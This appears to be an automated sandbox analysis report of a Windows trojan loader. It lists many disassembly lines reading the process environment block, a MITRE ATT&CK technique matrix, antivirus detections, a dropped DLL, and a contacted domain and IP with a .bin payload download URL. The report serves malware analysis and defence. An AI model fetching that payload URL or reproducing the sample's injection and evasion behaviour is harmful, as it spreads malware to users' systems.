Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E25060 mov eax, dword ptr fs:[00000030h]	5_2_36E25060
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7B052 mov eax, dword ptr fs:[00000030h]	5_2_36D7B052
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D61070 mov eax, dword ptr fs:[00000030h]	5_2_36D61070
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D61070 mov ecx, dword ptr fs:[00000030h]	5_2_36D61070
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D61070 mov eax, dword ptr fs:[00000030h]	5_2_36D61070
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D61070 mov eax, dword ptr fs:[00000030h]	5_2_36D61070
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D61070 mov eax, dword ptr fs:[00000030h]	5_2_36D61070
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D61070 mov eax, dword ptr fs:[00000030h]	5_2_36D61070
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D61070 mov eax, dword ptr fs:[00000030h]	5_2_36D61070
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D61070 mov eax, dword ptr fs:[00000030h]	5_2_36D61070
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D61070 mov eax, dword ptr fs:[00000030h]	5_2_36D61070
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D61070 mov eax, dword ptr fs:[00000030h]	5_2_36D61070
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D61070 mov eax, dword ptr fs:[00000030h]	5_2_36D61070
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D61070 mov eax, dword ptr fs:[00000030h]	5_2_36D61070
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D61070 mov eax, dword ptr fs:[00000030h]	5_2_36D61070
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DCD070 mov ecx, dword ptr fs:[00000030h]	5_2_36DCD070
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DD106E mov eax, dword ptr fs:[00000030h]	5_2_36DD106E
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E1903E mov eax, dword ptr fs:[00000030h]	5_2_36E1903E
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E1903E mov eax, dword ptr fs:[00000030h]	5_2_36E1903E
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E1903E mov eax, dword ptr fs:[00000030h]	5_2_36E1903E
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E1903E mov eax, dword ptr fs:[00000030h]	5_2_36E1903E
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E231E1 mov eax, dword ptr fs:[00000030h]	5_2_36E231E1
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D8D1D0 mov eax, dword ptr fs:[00000030h]	5_2_36D8D1D0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D8D1D0 mov ecx, dword ptr fs:[00000030h]	5_2_36D8D1D0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DF71F9 mov esi, dword ptr fs:[00000030h]	5_2_36DF71F9
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E251CB mov eax, dword ptr fs:[00000030h]	5_2_36E251CB
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D551ED mov eax, dword ptr fs:[00000030h]	5_2_36D551ED
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D751EF mov eax, dword ptr fs:[00000030h]	5_2_36D751EF
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D751EF mov eax, dword ptr fs:[00000030h]	5_2_36D751EF
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D751EF mov eax, dword ptr fs:[00000030h]	5_2_36D751EF
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D751EF mov eax, dword ptr fs:[00000030h]	5_2_36D751EF
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D751EF mov eax, dword ptr fs:[00000030h]	5_2_36D751EF
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D751EF mov eax, dword ptr fs:[00000030h]	5_2_36D751EF
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D751EF mov eax, dword ptr fs:[00000030h]	5_2_36D751EF
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D751EF mov eax, dword ptr fs:[00000030h]	5_2_36D751EF
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D751EF mov eax, dword ptr fs:[00000030h]	5_2_36D751EF
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D751EF mov eax, dword ptr fs:[00000030h]	5_2_36D751EF
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D751EF mov eax, dword ptr fs:[00000030h]	5_2_36D751EF
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D751EF mov eax, dword ptr fs:[00000030h]	5_2_36D751EF
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D751EF mov eax, dword ptr fs:[00000030h]	5_2_36D751EF
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E011A4 mov eax, dword ptr fs:[00000030h]	5_2_36E011A4
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E011A4 mov eax, dword ptr fs:[00000030h]	5_2_36E011A4
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E011A4 mov eax, dword ptr fs:[00000030h]	5_2_36E011A4
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E011A4 mov eax, dword ptr fs:[00000030h]	5_2_36E011A4
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DA7190 mov eax, dword ptr fs:[00000030h]	5_2_36DA7190
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E05180 mov eax, dword ptr fs:[00000030h]	5_2_36E05180
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E05180 mov eax, dword ptr fs:[00000030h]	5_2_36E05180
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D6B1B0 mov eax, dword ptr fs:[00000030h]	5_2_36D6B1B0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D57152 mov eax, dword ptr fs:[00000030h]	5_2_36D57152
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D49148 mov eax, dword ptr fs:[00000030h]	5_2_36D49148
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D49148 mov eax, dword ptr fs:[00000030h]	5_2_36D49148
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D49148 mov eax, dword ptr fs:[00000030h]	5_2_36D49148
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D49148 mov eax, dword ptr fs:[00000030h]	5_2_36D49148
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DE3140 mov eax, dword ptr fs:[00000030h]	5_2_36DE3140
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DE3140 mov eax, dword ptr fs:[00000030h]	5_2_36DE3140
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DE3140 mov eax, dword ptr fs:[00000030h]	5_2_36DE3140
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F172 mov eax, dword ptr fs:[00000030h]	5_2_36D4F172
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F172 mov eax, dword ptr fs:[00000030h]	5_2_36D4F172
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F172 mov eax, dword ptr fs:[00000030h]	5_2_36D4F172
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F172 mov eax, dword ptr fs:[00000030h]	5_2_36D4F172
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F172 mov eax, dword ptr fs:[00000030h]	5_2_36D4F172
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F172 mov eax, dword ptr fs:[00000030h]	5_2_36D4F172
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F172 mov eax, dword ptr fs:[00000030h]	5_2_36D4F172
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F172 mov eax, dword ptr fs:[00000030h]	5_2_36D4F172
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F172 mov eax, dword ptr fs:[00000030h]	5_2_36D4F172
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F172 mov eax, dword ptr fs:[00000030h]	5_2_36D4F172
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F172 mov eax, dword ptr fs:[00000030h]	5_2_36D4F172
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F172 mov eax, dword ptr fs:[00000030h]	5_2_36D4F172
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F172 mov eax, dword ptr fs:[00000030h]	5_2_36D4F172
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F172 mov eax, dword ptr fs:[00000030h]	5_2_36D4F172
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F172 mov eax, dword ptr fs:[00000030h]	5_2_36D4F172
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F172 mov eax, dword ptr fs:[00000030h]	5_2_36D4F172
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F172 mov eax, dword ptr fs:[00000030h]	5_2_36D4F172
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F172 mov eax, dword ptr fs:[00000030h]	5_2_36D4F172
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F172 mov eax, dword ptr fs:[00000030h]	5_2_36D4F172
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F172 mov eax, dword ptr fs:[00000030h]	5_2_36D4F172
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4F172 mov eax, dword ptr fs:[00000030h]	5_2_36D4F172
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DE9179 mov eax, dword ptr fs:[00000030h]	5_2_36DE9179
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E25152 mov eax, dword ptr fs:[00000030h]	5_2_36E25152
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E27120 mov eax, dword ptr fs:[00000030h]	5_2_36E27120
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4B136 mov eax, dword ptr fs:[00000030h]	5_2_36D4B136
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4B136 mov eax, dword ptr fs:[00000030h]	5_2_36D4B136
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4B136 mov eax, dword ptr fs:[00000030h]	5_2_36D4B136
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4B136 mov eax, dword ptr fs:[00000030h]	5_2_36D4B136
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D51131 mov eax, dword ptr fs:[00000030h]	5_2_36D51131
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D51131 mov eax, dword ptr fs:[00000030h]	5_2_36D51131
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E1BEE6 mov eax, dword ptr fs:[00000030h]	5_2_36E1BEE6
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E1BEE6 mov eax, dword ptr fs:[00000030h]	5_2_36E1BEE6
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E1BEE6 mov eax, dword ptr fs:[00000030h]	5_2_36E1BEE6
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E1BEE6 mov eax, dword ptr fs:[00000030h]	5_2_36E1BEE6
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4BEC0 mov eax, dword ptr fs:[00000030h]	5_2_36D4BEC0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4BEC0 mov eax, dword ptr fs:[00000030h]	5_2_36D4BEC0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5BEC0 mov eax, dword ptr fs:[00000030h]	5_2_36D5BEC0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5BEC0 mov eax, dword ptr fs:[00000030h]	5_2_36D5BEC0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5BEC0 mov eax, dword ptr fs:[00000030h]	5_2_36D5BEC0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5BEC0 mov eax, dword ptr fs:[00000030h]	5_2_36D5BEC0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5BEC0 mov eax, dword ptr fs:[00000030h]	5_2_36D5BEC0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5BEC0 mov eax, dword ptr fs:[00000030h]	5_2_36D5BEC0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5BEC0 mov eax, dword ptr fs:[00000030h]	5_2_36D5BEC0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D5BEC0 mov eax, dword ptr fs:[00000030h]	5_2_36D5BEC0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D7FEC0 mov eax, dword ptr fs:[00000030h]	5_2_36D7FEC0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DDFEC5 mov eax, dword ptr fs:[00000030h]	5_2_36DDFEC5
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D53EF4 mov eax, dword ptr fs:[00000030h]	5_2_36D53EF4
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D53EF4 mov eax, dword ptr fs:[00000030h]	5_2_36D53EF4
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D53EF4 mov eax, dword ptr fs:[00000030h]	5_2_36D53EF4
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D83EEB mov ecx, dword ptr fs:[00000030h]	5_2_36D83EEB
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D83EEB mov eax, dword ptr fs:[00000030h]	5_2_36D83EEB
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D83EEB mov eax, dword ptr fs:[00000030h]	5_2_36D83EEB
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D53EE1 mov eax, dword ptr fs:[00000030h]	5_2_36D53EE1
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E09EDF mov eax, dword ptr fs:[00000030h]	5_2_36E09EDF
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E09EDF mov eax, dword ptr fs:[00000030h]	5_2_36E09EDF
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D57E96 mov eax, dword ptr fs:[00000030h]	5_2_36D57E96
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DDDE9B mov eax, dword ptr fs:[00000030h]	5_2_36DDDE9B
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E0DEB0 mov eax, dword ptr fs:[00000030h]	5_2_36E0DEB0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D83E8F mov eax, dword ptr fs:[00000030h]	5_2_36D83E8F
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DFDEB0 mov eax, dword ptr fs:[00000030h]	5_2_36DFDEB0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DFDEB0 mov ecx, dword ptr fs:[00000030h]	5_2_36DFDEB0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DFDEB0 mov eax, dword ptr fs:[00000030h]	5_2_36DFDEB0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DFDEB0 mov eax, dword ptr fs:[00000030h]	5_2_36DFDEB0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DFDEB0 mov eax, dword ptr fs:[00000030h]	5_2_36DFDEB0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4DEA5 mov eax, dword ptr fs:[00000030h]	5_2_36D4DEA5
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4DEA5 mov ecx, dword ptr fs:[00000030h]	5_2_36D4DEA5
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4FEA0 mov eax, dword ptr fs:[00000030h]	5_2_36D4FEA0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DDDEAA mov eax, dword ptr fs:[00000030h]	5_2_36DDDEAA
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D8BE51 mov eax, dword ptr fs:[00000030h]	5_2_36D8BE51
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D8BE51 mov eax, dword ptr fs:[00000030h]	5_2_36D8BE51
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DF9E56 mov ecx, dword ptr fs:[00000030h]	5_2_36DF9E56
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D65E40 mov eax, dword ptr fs:[00000030h]	5_2_36D65E40
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E0DE46 mov eax, dword ptr fs:[00000030h]	5_2_36E0DE46
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4BE78 mov ecx, dword ptr fs:[00000030h]	5_2_36D4BE78
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4DE10 mov eax, dword ptr fs:[00000030h]	5_2_36D4DE10
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D8BE17 mov eax, dword ptr fs:[00000030h]	5_2_36D8BE17
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E25E37 mov eax, dword ptr fs:[00000030h]	5_2_36E25E37
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E25E37 mov eax, dword ptr fs:[00000030h]	5_2_36E25E37
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E25E37 mov eax, dword ptr fs:[00000030h]	5_2_36E25E37
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D51E30 mov eax, dword ptr fs:[00000030h]	5_2_36D51E30
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D51E30 mov eax, dword ptr fs:[00000030h]	5_2_36D51E30
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E23E10 mov eax, dword ptr fs:[00000030h]	5_2_36E23E10
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E23E10 mov eax, dword ptr fs:[00000030h]	5_2_36E23E10
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D6DE2D mov eax, dword ptr fs:[00000030h]	5_2_36D6DE2D
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D6DE2D mov eax, dword ptr fs:[00000030h]	5_2_36D6DE2D
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D6DE2D mov eax, dword ptr fs:[00000030h]	5_2_36D6DE2D
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4BFD0 mov eax, dword ptr fs:[00000030h]	5_2_36D4BFD0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DD3FD7 mov eax, dword ptr fs:[00000030h]	5_2_36DD3FD7
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D81FCD mov eax, dword ptr fs:[00000030h]	5_2_36D81FCD
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D81FCD mov eax, dword ptr fs:[00000030h]	5_2_36D81FCD
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D81FCD mov eax, dword ptr fs:[00000030h]	5_2_36D81FCD
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D53FC2 mov eax, dword ptr fs:[00000030h]	5_2_36D53FC2
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E0BFC0 mov ecx, dword ptr fs:[00000030h]	5_2_36E0BFC0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E0BFC0 mov eax, dword ptr fs:[00000030h]	5_2_36E0BFC0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36E23FC0 mov eax, dword ptr fs:[00000030h]	5_2_36E23FC0
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D8BFEC mov eax, dword ptr fs:[00000030h]	5_2_36D8BFEC
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D8BFEC mov eax, dword ptr fs:[00000030h]	5_2_36D8BFEC
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D8BFEC mov eax, dword ptr fs:[00000030h]	5_2_36D8BFEC
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D61F92 mov ecx, dword ptr fs:[00000030h]	5_2_36D61F92
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D61F92 mov ecx, dword ptr fs:[00000030h]	5_2_36D61F92
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D61F92 mov eax, dword ptr fs:[00000030h]	5_2_36D61F92
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D61F92 mov ecx, dword ptr fs:[00000030h]	5_2_36D61F92
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D61F92 mov ecx, dword ptr fs:[00000030h]	5_2_36D61F92
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D61F92 mov eax, dword ptr fs:[00000030h]	5_2_36D61F92
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D61F92 mov ecx, dword ptr fs:[00000030h]	5_2_36D61F92
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D61F92 mov ecx, dword ptr fs:[00000030h]	5_2_36D61F92
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D61F92 mov eax, dword ptr fs:[00000030h]	5_2_36D61F92
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D61F92 mov ecx, dword ptr fs:[00000030h]	5_2_36D61F92
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D61F92 mov ecx, dword ptr fs:[00000030h]	5_2_36D61F92
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D61F92 mov eax, dword ptr fs:[00000030h]	5_2_36D61F92
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D4FF90 mov edi, dword ptr fs:[00000030h]	5_2_36D4FF90
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DF3F90 mov eax, dword ptr fs:[00000030h]	5_2_36DF3F90
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36DF3F90 mov eax, dword ptr fs:[00000030h]	5_2_36DF3F90
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D91FB8 mov eax, dword ptr fs:[00000030h]	5_2_36D91FB8
Source: C:\Users\user\Desktop\3507071243740008011.exe	Code function: 5_2_36D8BFB0 mov eax, dword ptr fs:[00000030h]	5_2_36D8BFB0

Source: C:\Users\user\Desktop\3507071243740008011.exe

0_2_00403373

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	OS Credential Dumping	211 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Process Injection	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Clipboard Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Access Token Manipulation	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Process Injection	NTDS	23 System Information Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3507071243740008011.exe	32%	ReversingLabs	Win32.Trojan.InjectorX
3507071243740008011.exe	100%	Avira	HEUR/AGEN.1337946

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsy62D9.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
alfacen.com	193.107.36.30	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://alfacen.com/jFhxxDhhDcCKVgiwlWM221.bin	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd	3507071243740008011.exe, 00000005.00000001.2640954527.00000000005F2000.00000020.00000001.01000000.00000006.sdmp	false		unknown
http://www.ftp.ftp://ftp.gopher.	3507071243740008011.exe, 00000005.00000001.2640954527.0000000000649000.00000020.00000001.01000000.00000006.sdmp	false		unknown
http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd	3507071243740008011.exe, 00000005.00000001.2640954527.00000000005F2000.00000020.00000001.01000000.00000006.sdmp	false		unknown
https://alfacen.com/jFhxxDhhDcCKVgiwlWM221.binL	3507071243740008011.exe, 00000005.00000003.3040973789.0000000006CC3000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.3040929745.0000000006CBB000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.2880153523.0000000006CC7000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.3041155359.0000000006CC3000.00000004.00000020.00020000.00000000.sdmp, 3507071243740008011.exe, 00000005.00000003.2880232804.0000000006CC7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://nsis.sf.net/NSIS_ErrorError	3507071243740008011.exe, 00000000.00000000.1711380790.000000000040A000.00000008.00000001.01000000.00000003.sdmp, 3507071243740008011.exe, 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmp, 3507071243740008011.exe, 00000005.00000000.2638137136.000000000040A000.00000008.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
